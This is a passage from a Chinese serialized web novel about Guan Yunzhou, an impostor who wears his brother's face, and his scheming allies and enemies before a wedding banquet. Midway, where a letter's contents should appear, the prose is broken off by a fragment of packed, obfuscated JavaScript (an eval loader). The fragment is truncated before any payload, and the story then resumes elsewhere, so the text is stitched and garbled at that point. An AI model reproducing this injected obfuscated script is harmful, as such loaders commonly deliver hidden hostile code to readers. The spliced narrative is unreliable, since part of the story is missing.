众人齐叹:“都督这是怀疑,这个儿子还活着,兄妹二人还可能都是芳樱楼的人。妹妹惨死,而哥哥是在为妹妹报仇?” “猜想罢了。至少这样不是毫无收获。” “对了,明日就是关昀洲的婚宴了。”杜明堂小声嘀咕一句。 正当众人一筹莫展的时候,魏郁春使出了杀手锏:“杜宅中可有技艺精湛的画师?” 杜明堂目光贼兮兮眇了一眼关阇彦,会想起关阇彦上次夜晚抓钱雀时的所作所为,不免憋笑,在自家爹娘鄙夷的目光下,他捧腹:“有!怎么没有了!” 关阇彦看魏郁春,目含狡黠,似乎早就料到此女又要整出一手神活。 魏郁春也的确没有令他失望:“我会着手研习换容秘术,容貌精湛之人的面容伪起来难,但若是面有瑕疵、泯若众生的应当不难。请那位画师描摹下一张参宴之人的面容,交予我,做成人面,坚持易容一晚,不成问题。” 杜家三人大惊:“冯姑娘如此有把握?!” 魏郁春喟叹一息:“既有了出路,就该奋力搏一搏,有了一份希望,我就应该竭力做到最好。” 杜咏对这个姑娘颇为欣赏,想起自家不成器的丫头,感慨:“嘿,若是我家阿茜能有冯姑娘半分好学坚韧的劲儿,我都不敢想咱家祖坟都冒烟成啥样!” 杜明堂蹙眉,展开扇子往鼻尖扑了扑,哂笑:“爹你也别这么说,阿茜无忧无虑的,挺好的。” 杜夫人嗔怪:“阿堂寻日看似跟妹妹老作对,但谁不知道每次都是你最护着她!” 魏郁春看着一家人其乐融融的模样,嘴上的笑容慢慢也苦涩了起来,甚至还有些羡慕的情愫在其中。若是可以,她倒也希望自己跟杜明茜一样嚣张跋扈、心思单纯。无人护得住她,唯有她自己,她如今是别无他法。 在她余光所不及的地方,关阇彦看似向前认真看的目光早已不经意间落到了她的面容上。 他目光清冷,也心事重重起来。 快了……最迟到明晚,他就能亲自揭开她身上的谜底。 冯迎春……你到底是何人……早年被他视作荒谬的念头在近来,一遍又一遍席卷在他的脑海里,他形容苦涩,甚至对自己的状态无可奈何。既然躲不掉,不如一往向前。 大家破解了关昀洲跟隐华画师之间的联系,算是掌握住了拿捏关昀洲的线索。换脸一事完备后,他们不仅可以安然无恙地混入婚宴,还能利用隐华画师制造舆论引起关昀洲的注意,至于要如何制造舆论,可就要看魏郁春了。 早在春桃酒宴里,她一套胡编乱造、先斩后奏的话术行云流水,成功气煞魏澜清。所以再战一轮,对她来说已是小菜一碟。 关昀洲既然要追踪周裕之的下落,她便跟他玩一玩“人有亡斧”的把戏。 她把隐华画师跟周裕之捆绑起来,开口即——正是周裕之那边的势力发现了关昀洲想要通过隐华画师绘成人面的秘密,所以才会暗中做手脚在春桃酒宴中大闹,阻止他跟魏氏获得讨好隐华画师的机会。 一个人丢了最重要的斧子,给他一点主意,让他怀疑起来一个人,撩拨起他的疑心,甭管那些主意多么荒唐不成道理,他都会始终坚信,盗走他斧子和利益的人就是那个他所疑心的人。 他又不知道春桃诗魁是哪里来的势力,刚好芳樱楼那边的秘密又泄露了,他本就会怀疑诗魁是不是得知了他和隐华利益纠葛的搅局者。现在他找周裕之,而刚好通过消息,发现诗魁就是周裕之的人,你说他会不会害怕?会不会胆寒? 毕竟,隐华画师暴露了,他的假身份不就暴露了? 轻则欺君之罪、流放西戎,重则凌迟剐骨、抛尸荒野。 说白了,关昀洲暴露了致命弱点,别人想要控制他利用他就是一桩小事了。 他也是太过自负,凭什么认为自己做的事没有半点风声能漏出去?他太坚信无人知道他的换脸秘密。 所以他一旦觉得周裕之也知道了他的秘密,就会立马疯魔。 再过分一些,魏郁春觉得根本不需要白费力气去追踪关昀洲找人的动作了,他越是着急杀人灭口,就越是着急去找隐华下落。 故而,她不如利用隐华的名头,让他主动告知周裕之下落好了。 关昀洲有一百个心讨好隐华,她便有一百份成算获得胜利。 真是一手老奸巨猾的谋算。 116. 饲鬼之菊 不久后,魏郁春自清辞别而去,她带上那卷秘术古文没入了一座僻静的书院,几位宅子里最有才华的画师端坐其中,和她互相切磋起思想。 杜家老爷和杜夫人去理宅中内外务,留了杜明堂还在议事堂内,跟关阇彦对座而谈。 杜明堂沏了一壶茶,刚从隆安寺那头带来的上等禅香茶,屋内飘雾不断,缭绕在杜明堂那张带着狡黠风味的俊逸面容上,完全一副奸商附庸风雅时的模样。关阇彦蔑着他烹茶享受的动作,白了一眼。 此时,杜明堂眼都不抬一下,神色自洽,方才一桩桩事情办得颇合心意,他沉重的心思放下,当然急于享受享受了。 对比下来,他倒是很不理解关阇彦那副活似被人欠了债的死脸色。 他推了一盏茶过去,喊他:“都督,我瞧三个诸葛亮都抵不过一个冯姑娘,你说,我要不要把她招进府中当门客!” 关阇彦冷笑一声,对他天真的念头不理会,他比谁都清楚,魏郁春是拴不住的鸟兽。 “对了,李家跟周家的纠纷,你还知道多少?听说,李家觉得周家先发制人、血口喷人,所以立马赶了二月春闱的风头爆出了周尚书滥用职权、徇私舞弊之事?” “我记得不错的话,朔州府涉案官员好像有个姓魏的?” 杜明堂愣住了,忙一副急于打听的模样,钻研起来:“阿彦,你何时还得空去查这个了?这案子涉及的人多得数不过来,光是京城少则也有五六十名大小官员,朔州府的还得往后排排,别是排到几百号人后去了!怎么个事,是不是又有新线索了?” 关阇彦收敛神色,整个人都像极了一座不容侵犯的神圣雕像。他放开抱胸的双臂,交叉在桌案上,竟有些正襟危坐的意味,见他如是,杜明堂也不自觉地收住了身上满溢的轻浮之气。 “没有,我没去看,只是想到魏澜清她爹不就是朔州府的魏学士么?他自己的官名就是挂的虚名,少了谁都少不了他。” 杜明堂听出他气息里微不可察的愠怒之意,不解:“你不是对魏氏有好感吗?怎么对这位未来的老丈人敌意这么强?” 要知道,关阇彦之前可是打算婚宴揭开关昀洲身份取而代之的! 但现在冒出了更棘手的周裕之案,在关昀洲找到周裕之前,换身份是急不得了,把别人的妻子接手过来的荒唐念头自然也得搁置搁置。 杜明堂转了转眸子,寻思着,莫不是关阇彦看开了,不打算继续那个憋屈的计划了? 关阇彦这人恨屋及乌是常态,他都要针对魏仲傅了,怎么可能还对魏澜清有好脸色?那他之前还不肯人说这女人的坏话呢! 莫不是春桃酒宴的丑闻让关阇彦对魏澜清彻底失望了?不对,关阇彦不是那种爱听信谣言的人,不亲自接触,他不会随意改变念头。 哦……那就是冯姑娘上了力度,把关阇彦又迷住了?让他改变了想法?毕竟他看这俩人最近的相处状态的确是有些微妙。 杜明堂头脑风暴,觉得关阇彦的心思简直比女人还难猜。 关阇彦不作正面回答:“你去看看,是不是有这号人?把魏学士买官卖官的证据一五一十都收录下来,留作备用。” 此时,他便已有三分对魏澜清身份的怀疑了。 杜明堂听出来他的决心,也明白他这是要置魏学士于死地的意思了:“行。” “另外,明日多派些人手过去,都换成身手最顶级的,好护得冯迎春的安全。” 杜明堂惊掉下巴:“你让冯姑娘去干嘛,很危险好不好?等等……我们好像也的确没有其他选择了。” 关阇彦托住了他要掉下去的下巴,纤长有劲的手指抵在他的颌下,一番嫌弃后又收手回来,喜恶不定的。他目光凌厉,其中蓄满了七八分的肃重,余下的几分竟是几股惹人胆寒的杀气。 他语气的漫不经心,反而加重了他的恶意:“我想亲眼看看冯迎春对峙魏澜清的样子。” 婚宴前夜。 魏澜清住着的屋子还发出阵阵瓷盘璃器碎裂的声音,婢子们大气不敢出一个,只是一会儿跪着一会儿匍匐着,求夫人不要罪怪她们不长眼的举动。实际上,她们照常服侍人,也没想过原先知书达理、模样亲人,性格温顺又处处跟人谦和礼待的才女魏氏怎么就这样突然性情大变了。 自从春桃酒宴后,魏澜清的状态就越来越差,缠着府里的人带着她去找未婚夫。 但说实话,大户人家都讲究礼仪,纵使是家风开放的关家,也不至于容忍在婚礼前几日就要跟新娘见面回礼的晦气事发生。 前些日子,魏澜清胡闹不已,她听到春桃酒宴上的风言风语,难以接受,要找夫君问个清楚——当时隆月街樱楼脚下,夫君提灯对情的人为何不是她。 关昀洲原先愿意搭理几下,可到了日子便一再以习俗忌讳之由推脱见面。 关昀洲本就因为春桃酒宴失手的事焦头烂额,想着未婚妻是才女的身份,夺下魁礼本是理所当然的事,但谁能想到半路会杀出来个来路不明的伪装成“钱雀”的女子,坏了他的计划? 不仅如此,魏澜清在酒宴上前后判若两人的丑闻也迅速在京城传开了。现在逢人就被问候上几句讥诮的话,实在是老脸挂不住。 他也苦恼,为何当年风中韧竹般的佳人,会突然变成这副他快不认识的模样。还有,哥哥的未婚妻为何会如此埋汰? 他头一次觉得,抢走哥哥的东西也并不是一件全然舒心的事。 他是觉得春生才女耀眼过,但对他来说,夫妻之名本就名存实亡。他对魏澜清并无情谊,在这个女人身上,他看到的不过是对哥哥无与伦比的嫉妒心罢了,而这些嫉妒心唆使着他对这个女人生出一种过于窒息和疯魔的执念和控制欲。 哥哥的东西,他都想要抢走,并占为己有。 便是哥哥的身份、容貌,他都想要贪婪占据。 他不甘心为什么自己会是这样的身世,他宁愿那个痨病母亲不要生下他,他受尽苦楚,父亲不认,被送去他户又在嘲笑声中被退回。 他好似根本不是个人,而是个供人取笑的物件,来来回回,辗转反复…… 他叫关昀洲,他姓关。关阇彦也姓关,凭什么,他就可以得到所有人的重视,凭什么他才是天之骄子。而他却是个父亲认都不敢认的私生子……凭什么人与人的差距会这般大,哥哥一个时辰内便能学会的东西,他却要仔细钻研小半个月才能学上个皮毛,父亲便是看透了他那平平无奇的资质,才会对他分外宽容,可这份宽容对他来说,就是耻辱。 他踏入内院,连扫水的婢子都会背地里嘲笑他,说他这个表亲是个没人要的孩子,可怜寄人篱下这么多年,偏偏又资质平庸,在宅子里被当作女眷一般养大,真是毫无作为。 跟他比起来,刚随父出征归来的安南都督多么耀眼啊…… 说到哥哥,小时候,他可没少受他的罪,哥哥本性跳脱傲纵,又睚眦必报,眼里像是容不得一粒沙子。论起挑人毛病,他是第二谁敢自居第一? 哥哥知道他的身份后,想过太多办法要将他赶出关家,他告状,说自己不听他的教诲,连一个最简单的剑花都挽不起来,在父亲面前羞辱他,说从未见过这般愚蠢的孩子,更是千般万般不愿承认自己竟有这样一个惹人笑话的弟弟。 这些话就像锥子一般,永远扎在了他的心里,永远都拔不开,钻心的疼,和受尽羞辱后脸上红辣辣的刺痛……他要如何去释然? 从小到大,世人眼中只有那个天之骄子,可偏偏那个天之骄子太过争气,他居然真是一点阴暗面都不曾有过。 而他呢?天人不公,叫他背负可耻的出身、平庸的资质和一切阴暗的事物,他将自己留在阴暗之中,阴暗成长了,他铭记自己的苦楚,他要让自己永远记得跟哥哥的差距,他要让自己一直因为看到哥哥身上绽放的无限光芒而感到羞愤不已。 世间所有的美好和光亮属于哥哥,从小长于晦暗地狱的他,如何不仰望? 如何不羡慕? 又如何不去嫉妒? 光暗之间,水火不容,他早已明白,自己永远无法和哥哥和解,即便随着时间的流逝,哥哥好似也的确理解到了他的苦楚,所以这个天之骄子开始可怜他了,可怜……他不需要任何人可怜他。 哥哥这个别扭的性子总是不肯低下半分头来,看看他身下卑微而可怜的弟弟,是何等的泪容满面、何等的羞愤难当。 哥哥根本不理解他,所以他对自己的好,说白了,是赎罪吧?都是假惺惺的,他凭什么为了这些就要亲自拔出这么多年的痛苦? 那他妈的算什么狗屁的“好”!!! 世人都是自私的,哥哥亦是,他凭什么不能为自己活一次! 可荒唐的是,他选择重生的方式却是鸠占鹊巢,他要如何为自己而活?他这一生被哥哥的光芒完全覆去,他执念太深,以至于,他亲手将哥哥送进象征坟墓的南禺时,他竟是悲喜交加的……那股癫狂的欢喜不过维持了一刹,他很快就被一种难以抽离的沉痛感和迷茫感吞没了。 十多年来,他好似一直都在为哥哥而活,他从不肯承认这一切,所以又如何改变? 他对哥哥早已生出畸形的感情,他要为自己而活?可笑!哥哥死了,他便又要将他所有的东西占为己有,好似这种占有欲便是他向世人与天公宣扬自己对哥哥依恋的表现。 没了关阇彦的光芒,他的阴暗何以生存? 他到死都不可能为自己而活。 他迟迟不肯承认。 龙凤双烛成簇成簇地树立在布置奢华的屋中,火红的烛光投射出纷扰而伟岸的影子,扑簌摇曳地晃荡在屋内被一群婢子簇拥的高个身影上。 关昀洲在婢子们的服饰下换上了喜服,一身朱色,将他那双浸满血性和疯鸷的眼睛衬托地活似一双玛瑙,他头戴鎏金玉冠,乌发高束。 他又望向镜中不属于自己的脸,将他的一身雍容华贵加持得活似神物。他举起手来,一只玉戒冰冷地触碰到了他的面颊,他忍不住弯唇痴笑起来:“便是哥哥的容貌,都是世上最难求的宝贝。” 可惜,这张容貌很快就要脱落了,他在颌下棱角的衔接处摸到了一处皱巴巴的皮,皮相的状态大不如前,不出意外,最迟五日后,这张面皮便不可能再用了。五日……五日……他怎么可能就在五日内就把隐华找出来?! 隐华为人神秘,若非用充分的条件讨好他,他是断不可能出世见他的,而他与隐华理不清的牵扯,还要从去年说起。 去年秋末。 他替哥哥来到朔州府相看未婚妻,一只神秘的信封寻上了他,他不明所以,将其展开,潦草的字迹书写着惊天大秘密,每一个字精准刺中他的心结,抵瑕陷厄下,他握住信封的手亦是越来越颤抖。 信中鄙夷了他的出身,强调了他与哥哥的天壤之别,辱骂他寄人篱下、毫无志气,分明很是羡慕哥哥所拥有的一切,却不敢与其抢夺。 哥哥就连相看的未婚妻都是惊艳四座的大才女,哥哥看似嫌弃,可到底还是故意派他过来顶替他的身份应付这场闹剧,哥哥那目中无人的性子若是当真不在乎这一切,他根本不可能听由父母的安排——关老将军唯将关阇彦当作关家未来的脊梁骨,关家这么多年愈来愈艰难的处境,还有圣人暗中窥视关家的心思,老将军从未与这个小儿子提及。 所以,他如何理解父亲跟哥哥的安排? 在哥哥眼中不得不臣服圣人所演的戏法,在那份信中扭曲措辞的影响下,成功被他当作了哥哥鄙视他、向他炫耀的做法。 他自困囚笼,束缚了自己的眼界,这便是悲剧的开始。 他翻看信封,底下还有一张用蚕丝布包裹的面皮,那是哥哥的面容。 信中说道,只需他戴上这张面皮,便不再忌讳哥哥的光芒,他会夺走哥哥的一切,成为天之骄子,而送信人承诺,只要他安安分分留在朔州府抑或是京城,他便能想办法遣走真正的安南都督,让他的哥哥远走他乡,死无葬身之地。甚至连跟哥哥最为较好的友人杜明堂也会被一并害死。 而他的父亲自也会被蒙在鼓里,往后就算瞒不下去,父亲得知心爱的宝贝儿子早就死了,自会把他当成关家最后的希望。 关魏联姻乃圣人所赐,关老将军再想不开也不愿让全家都犯上欺君之罪,届时,整个关家都会成为帮他维系身份的帮凶。 被抛弃的人,只会是关阇彦。 条件之诱惑,关昀洲只以为自己熬出了头,当然欣然同意了信中人的提议。 他戴上了面皮,模仿起哥哥寻日里的作风与举动,真是惟妙惟肖,大家都被自己骗过了,就连他自己都快沉迷其中,忘记了当初那个叫作“关昀洲”的人是何等模样了? 他眼睁睁看着自己生出贪婪的面孔,不复从前。 熬过几个月,来年春上,关阇彦当真被忽悠去了南禺,而守在军营的友军左老都督自也被海患之事支开。关阇彦再无消息,他也听说他的亲信们皆已横死山中,不久后,杜明堂的死讯也传开来了。他就在京城,亲耳听着这些大快人心的消息。 他终于能分心去做另外一件事了——在大概俩个月前,他突然发现用以伪装面孔的面皮出现了裂缝,他不得不用皮胶将其粘好,可不久后,面皮碎裂的程度越来越大,已是无法挽回之事。他外出应付外人的时间不得已变得越来越短。 这时,他终于发现,去年秋末为其送信的人坑骗了他! 那个人就是为了利用他杀死安南都督罢了,他根本没有保证过这张面皮能用多久,他安逸太久竟忘记了这个隐患。面皮今日会碎裂,明日便会松动起皱,皆然脱落。他迟早有一天便会现出原形! 他陷入了焦灼,可他根本不知道要如何修复这张面皮,面皮还原了哥哥那张惊为天人的容貌,他明白,这世上,除了制作这张人皮面具的外,没有人能帮的了他。 可他还能怎么办?! 由于关魏两家婚事特殊,婚礼的程序自也是与普通人家不同。原本只得等到婚期择定后,新娘同意备礼后,才算真正订好了婚。 但朔州府与岭阳相隔甚远,索性改了传统,男方提前大半月请期,女方备好嫁妆后直接从娘家出发,先到男方暂住于朔州府的宅子暂住,算作订婚宴。月余后,他按照订好的日子去往魏府接来未婚妻魏氏,回到暂留的宅院。 朔州府当夜,提着贺礼的贵人亲友们接踵而至,魏氏需守在屋内,等待闺房布置完毕。而作为新郎的关昀洲自需在厅堂待客,府中笙箫,他在外寒暄几个时辰,意识到面皮又开始松动,他迅速回到自己的寝阁内梳妆修补仪容,可就在他像个女人一般对着镜子苛责容貌细节之时,一双炯炯有神的眼突兀地出现在了晦暗屋子的一角。 不知何时,屋外的吊窗被人支上大半,夜色朦胧,一眼看过去根本瞧不清人影的轮廓,只知道远方好似有两只绿豆似的东西镶嵌在一块大馕上,对应起来,镶嵌的地方应当是人面上该长眼睛的一对凹槽上。 那是个油腻的胖子,胖子眼看关昀洲顶着半张已经脱落下来似蛇皮的面孔,恐惧不已,张开大口,镶金大牙在屋内萧条的烛光下都炸出了突兀的光亮。 他大叫:“鬼!是鬼啊啊啊!安南都督你竟不是人!你竟不是人!” 关昀洲怎么都没想到他谨小慎微至今,竟在今夜出了差错,怀疑是不是有人故意掐准了时机陷害他的同时,他也自知猜测没理。 他将面皮覆好,迅速追上去,唯恐那胖子的叫唤声被外人捕捉了去。可他刚翻出窗去,胖子的叫唤声戛然而止,除去府中欢乐嬉戏的酒闹之声,此时周遭安静得可怕。 他立马排查了今夜入府的人,很快就发现,那个躲在窗外偷窥他的人就是周尚书之子周裕之。 此人是远近闻名的无赖,老爹视其为累赘,寻日就当其是个不碍事的畜生。老爹对其越是不管不顾,此子便越是猖獗,在京城里恨不得横着走。 此无赖除了喜爱逛花楼外,凑热闹也是一大绝活,听闻今夜安南都督订婚夜宴,他大手一挥,人脉成了通行证,他入了府邸便算了,就是不知怎么混到了关昀洲的寝阁里,还目睹了关昀洲面皮剥落的恐怖画面。 事后,此子大气不出一个,不知用了什么办法飞一般溜出了府邸,不知所踪了。 出了宅子,关昀洲抓不住他,只怕其出去胡乱说话,他恐慌不已,那时关阇彦跟杜明堂的事还未尘埃落定,此等差错一出,对他来说,就是祸不单行。 关昀州在朔州府根本抽不开身,本来还不解为何常住于京城的周裕之会大老远逍遥过来,难不成真是看热闹? 他本欲病急乱投医,但一位自称阿菊的怪人主动找上了门来。 阿菊是个头上簪满橙橘色花海的奇怪男人,他头戴高帽,帽下挂帘,讲话还掐着嗓子,分明是个男人,却要装作仕女搔首弄姿,貌似脑子有病。 阿菊是个神秘的怪人,他只爱夜间出没,一手拈花,一手提花灯,神经兮兮地跟人说话。 一日夜里,阿菊突兀地出现在了关昀洲寝阁的窗外,他自己提着一把散着微弱灯光的花灯,将他头顶的花照出颜色来,除此之外,他身下便是一袭白花花的纱布。他如同鬼影一般,身下无影,活似就是个只长了只簪花脑袋的鬼。 关昀洲本欲提剑杀人,可阿菊却往他的窗格里头塞了一张信封,随后鬼笑起来,掐着兰花指离去。 关昀洲冒着冷汗,启开窗子,一剑刺去,才发现那远去的白纱根本不是什么人影。 栽倒在黑夜之下的是一具塞了人形灯骨、罩着白纱的简陋人偶,人偶粗陋,在窗纸外看似拈花提灯的手指,是用竹竿烧好輮成的,头顶上的高帽也是用白棉花充成的,浑身死物,也就头顶花冠上跟手上的阳春菊还有些生机。 因为“手”上绑着的一朵灯光,死气沉沉的身躯得以投射成栩栩如生的影子,直至窗前。 人偶灯具身上绑着无数条细长而有韧性的线条,此时人偶栽倒,线条断裂,关昀洲循着线条牵引的方向去找,发现这些线条都是从他屋顶的方向往下瀑的。真正的“阿菊”故弄玄虚,在屋顶发声,提着杆子和绳线牵引人偶行动,手法与皮影戏一般,从而让关昀洲以为窗外的人偶才是真人,继而金蝉脱壳,逃出生天。 关昀洲自觉中计,也再无法追上那诡异的怪人,只得将其暂留在窗格上的信纸展开。 宛如回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关昀洲信以为真,毕竟对他来说,自然是窃走账本的难度更大。阿菊不仅自请揽责,还主动要求他划分看守范围,杜绝任何人窃物潜逃的可能性。 某方面来说,这些举动算是赢得了关昀洲对阿菊的信任。 阿菊很快通过自己的手段,将账本拿到了手,他通过一种特殊的灯花传信法在夜间给关昀洲发送信号,关昀洲为其布局放风,听阿菊表示,账本就这样成功转运至了人流颇多、极易轮流向外转移机密讯息的芳樱楼。 二人来回办事从未见过面,都是以一种阿菊规定的传信法交流,甚至身为中间人掮客的阿菊,也着重要求过,参与转运账本的武夫必须由他一手接管,关昀洲不可过问。 在这场盗窃中,阿菊看似是掮客,却至始至终都是掌握主导权一般的存在。 阿菊给关昀洲营造了一种,只需他在幕后勾勾手指便能成事的错觉,关昀洲甚至从未亲自到过京城案发之地。 正当关昀洲以为万事俱备之时,阿菊要求他从朔州府赶来京城的芳樱楼,借灯传信,距离约定日期还有不到十日的时间,关昀洲还未离开朔州府的地界,约定之地芳樱楼却发生了惊天大惨案,烟雾缭绕,焦血四溅,声嘶力竭的哭喊声自大火蔓延的方向爆发而出,人都几乎死了个干净! 此时,杜明堂奔往南禺的安排才尘埃落定。 京城芳樱楼怪案起,前些时间还在朔州府偷窥到他秘密的周裕之,转眼就成为了京城这桩案子的核心人物。 这段时间里,周裕之的确按照阿菊所保证的那样,奇迹般没有传出去任何有关他的流言,倒是他自己,瞎了眼睛,提着斧子逃出芳樱楼,成为了案子的最大嫌疑人。 怪案波及了大商贾李氏,李氏之子惨死,周裕之成为法外之徒,无人敢查,李氏斗来斗去,惹得周尚书勃然大怒。 他直接将他那个不成器的畜生儿子给抓了出去,不知道藏在了哪个地方,估摸着芳樱楼案一日不结,他便一日不会放了这个畜生。 原本周尚书打算亲手灭了这个惹事的畜生,结果转头李氏就给他桶了个大娄子,说他勾结政党,引导春闱作弊,祸乱朝野,惹了大理寺一位司直的逆鳞。圣人的目光紧追而来。 事到如今,周裕之他可就杀不得了,杀了便等于做贼心虚,那位可是凭借一己之力挖出洞市地点的陶司直,一旦查出周裕之的死讯,消息传到圣人那头,周尚书的罪责如何逃得下? 所以,周裕之如今被周家政党藏在某个不为人知的地方,一直不敢轻举妄动。 关昀洲知道芳樱楼的案子本就是个难翻的账,多半是个无头案的结局,毕竟那位陶司直可是在圣人面前许下以死谢罪的承诺的。 芳樱楼案不结,周裕之不得放出,他惧怕的秘密也不会被散出去,更何况周裕之自纵火案后便成了个疯疯癫癫的瞎子,只要他掀不起大浪,说什么也不会有人相信。 风波过去,最先杀周裕之的,便就是周尚书本人,何须他亲自动手? 关昀洲这才肯稍微放下对周裕之的戒心。 但阿菊为其留下来的悬念可并未解决。 确保杜明堂离开后,关昀洲还是回到了京城找到了芳樱楼,阿菊从此销声匿迹,音信全无,他也派人潜入过楼中,却发现其中焦土一片,毫无任何账本存留的痕迹,不知是真的被阿菊趁乱劫走了,还是被一把大火彻底销毁了去。 那个该死的阿菊,他存心坑害自己! 他跟去年秋末的幕后人没什么区别,不过都是在利用他!利用完却立马将其抛弃,视作粪土。 正当他对阿菊彻底失望时,他也已经带着未婚妻魏氏来到京城置办的府邸,筹备正式的婚期。他忽然得知原先听由阿菊发号施令的武夫们,还守备在芳樱楼周边,阿菊消失,他只能试图直接跟这群武夫取得联系,但这些武夫向来神秘,不肯直接与他产生交际,要求他聘来一位新的掮客。掮客就这样伪装成了卖灯的商贩。 杜宅白丧当晚,关昀洲趁乱以带初至京城的未婚妻游逛灯市为由,来到芳樱楼脚下的隆月街,与对接的掮客买下一盏传信之灯。 他本以为会得到回应,却不想寒凉的夜风下,他举灯四望,高耸而灰败的高楼上唯有腐朽的气息森森入肺,毫无曾经熟悉的传灯夜火,便是周遭,也是诡异的静谧。 他又被骗了!这里根本没有任何接讯的武夫! 他收灯,败性而归,却不想他的一举一动,竟落到了当晚正守在芳樱楼周边的陶明案跟章念二人眼里。 翌日,化尸水凭空出现,陶明案与章念追踪臭气挖出了一只塞满女尸的野坑。 关昀洲被当作了撒下化尸水的唯一嫌疑人,如今除了关昀洲他自己,所有人都如此认为。 适逢春桃酒宴开宴,关昀洲自知他已失去了第一筹码——杜宅账本,所以不得已另辟蹊径,想要通过未婚妻之手获得酒宴魁礼——象征隐华画师诅咒的冰玉瓶,从而向世人揭开几十年前西仓战役,和汪氏冤案的真相,从而夺得隐华画师的注意力。 殊不知正是这些举动,彻底将陶明案等人的目光全部引到了自己身上。 可笑的是,他依旧全不知晓,甚至还在深夜赌气烦恼,宴上夺走他最后一个筹码的神秘女人究竟是什么人?!还有,那个女人是怎么知道他在隆月街提灯之事的?! 事到如今,别无他法,关昀洲除了亲自插手周裕之的事还能做什么呢? 承诺制衡周裕之阿菊无故消失,难免成为背刺他的又一把利刃。 从前他顾及会得罪周尚书的势力,现在他却是无所谓了。 他明白,他那蠢儿子一死,百口莫辩之下,他难逃大罪。 呵呵,难不成他还会忌惮周尚书? 他的思绪,和关阇彦那头所揣测的完全不同。 但弄错放化尸水之人所造成的误差,却成功引来了旁人对关昀洲和周裕之关系的注意。 双方动机奇迹般达成一致——找到周裕之。 阿菊的猝然出现,猝然消失,便是造就这一切乱局的始作俑者。 不过他至今藏于幕后,无人能知他到底是何人,目的又是什么。 烦扰之间,被蒙在鼓里的关昀洲喝走了婢子与贴身侍卫,无人的屋内,他凝视着镜中看似完美实则已经腐烂了个七八成的面容,他抬手往颌下褶皱的皮肤上抹了一指散着肉腥味的皮胶,心思沉重。 他就这样对着镜子站立了一晚,本欲看看是否合适的红服被他抱紧于怀中,忘记了脱下。不知何时已经到了清晨之迹,隔着一条宽河的对岸,水榭亭阁之中,红帐如焰,风声轻飘,静谧祥和的场景中,却突兀地出现一阵又一阵推桌摔瓷的声音,一个女人嘶哑的哭喊声好似要冲破天花板,直直刺入了关昀洲的耳朵。 昨晚闹,闹累了,一起来便继续闹。这魏澜清当真是脸皮过厚,春桃酒宴上出了那么大的糗,怎么还有脸再在他跟前撒泼? 关昀洲知道这女人就是想他来见她罢了,他很累,怕是被闹烦了就要忍不住杀人灭口了,婚事还没成,他可不愿露出破绽。 他忍无可忍,也不愿跟那女人多费舌解释什么,从窗边招来一位隐卫,给他递了只混有异毒的丹丸,道:“给魏澜清服下,婚礼上出了任何差误,提你人头来见。” “少爷,关老爷和关夫人,跟魏府的人一起从朔州府来了。” 他理理衣服,对门外婢子恭敬的声音不搭理,他慢条斯理地将提前准备好了的同样混了迷毒的香烛拿出,举着还在燃烧的红烛过了火焰过去,屋里飘起似有似无的白烟。 做完这一切,他才踏出一边毯子,撩开串满名贵珍珠玛瑙的珠帘,笑容怪异:“怎么有让爹娘亲自来的道理,儿子这便去请他们。” 117. 婚宴伏杀 午前,杜家一行人齐聚一堂,魏郁春为他们展示彻夜研究的成果。 魏郁春未按秘术要求,非要用人皮作底,她用兔皮代替了人皮,并将几位顶好的画师描摹好的人面特征一一贴合在鞣制好的软皮上,眉目鼻口皆保留着最贴合目标之人的模样,但因为技术不够纯熟,毛孔显得很是粗糙,仿佛摹下的面与兔皮无法完全相融,远看还凑活,近看下来就有些松垮了。 这次负责送入请帖,在前线放风的人显然还是魏郁春。所以,杜家人为她搜罗下来的伪装对象是京城三大丑女之一的吴员外之女,吴艳芳,此女皮肤黝黑,毛发粗硬,举止投足一股粗味儿,跟她那个爆发户的爹真是一个模子刻出来的。 当时杜明堂听说魏郁春要扮吴艳芳,差点没捧着肚子笑死过去,他跟前些日子连遭打击、失魂落魄的公子哥好似不是一个人。 他惯会藏匿旧伤,面上仿佛从不记事,总是一副乐乐呵呵的笑面虎之样。 魏郁春跟关阇彦原本还觉得聒噪,但习惯后,听不到杜明堂的笑反而觉得不自在了。 魏郁春换上了一身显示身材臃肿的衣裳,面容洗净,黑黢黢的兔皮面具带好,嬷嬷为她梳妆起来,甚至还教她一些粗陋的动作。毕竟,吴艳芳的确是个状貌奇特又过分自信的世间奇人。 关阇彦围着魏郁春走了一圈,摩梭下巴,还是没忍住笑了笑:“不错。” 魏郁春见惯了他见缝插针的作风,寻思着他现在定是万分高兴,毕竟她再没有任何比现在还要粗鄙而丢脸的模样了,她看不惯他,太阳穴突突,倒是撇过头去,面露嫌恶,不搭理这脑瘫了。 众人皆看出气氛不对,但关阇彦真是勇往无前,还要说些动听的话:“对对对,就你这副看谁都不爽的脸色,瞬间传神了。你别说,让吴小姐亲自过来瞧瞧,都觉得你比她还像真人。” 杜明堂不笑了,杜老爷和杜夫人对望几眼,貌似尴尬不已,也是想不通一向言辞犀利、不爱跟人搭理的都督,居然还有气逗小姑娘的奇怪癖好。 一瞬间,某个象征都督伟岸形象的碑体瞬间塌方了。 谁都看得出来,他在逗弄她。 偏偏他自己看不出来。他貌似将这件事当作了习惯,和吃饭睡觉一般,有何可注意的?但叫他说出个为何从前不这般的理由,他必是要默然半晌的。 杜咏和杜夫人说道:“冯姑娘机智聪明,不过一日便参透秘术,习得了换容之术,但第一次用也不知是否持久,姑娘此去必要小心。” 关阇彦道:“晚上一旦出现差误,便放竹筒烟往天上丢,我、杜明堂还有一起随行的隐卫都会来护你。” 众人齐齐点头,看向魏郁春的目光也尽是关切,大家是并肩而行的战友,虽然小打小闹,但都是常事,即便身前是杀机四伏的困难,大家还是更乐意以喜忧参半的心态去面对。魏郁春很是喜欢这样的氛围,对关阇彦有心逗弄她的事都不在意了。 关阇彦又嘱咐道:“夜里没事别往人多灯多的地方凑,虽已扮得惟妙惟肖,但技术还不够扎实,但凡曝光之下,你必要现原形。” 魏郁春颔首。她刚被嬷嬷带下去卸妆休息,杜明堂正好在跟留在堂内的几位画师说话。 杜明堂正道:“看来这秘术的确高深莫测,冯姑娘用了数张兔皮才制成了这么一只面具,你们几个也是费老大劲儿了吧?跟我讲讲,你们当时怎么做的?” 几个画师面面相觑,唉声叹气下不得不汗颜承认:“公子,我们没帮上什么忙。我们先是照着以往吴小姐留下的画像摹了人面,冯姑娘几番对照,觉得不满意,后头的事也没要我们掺和。” 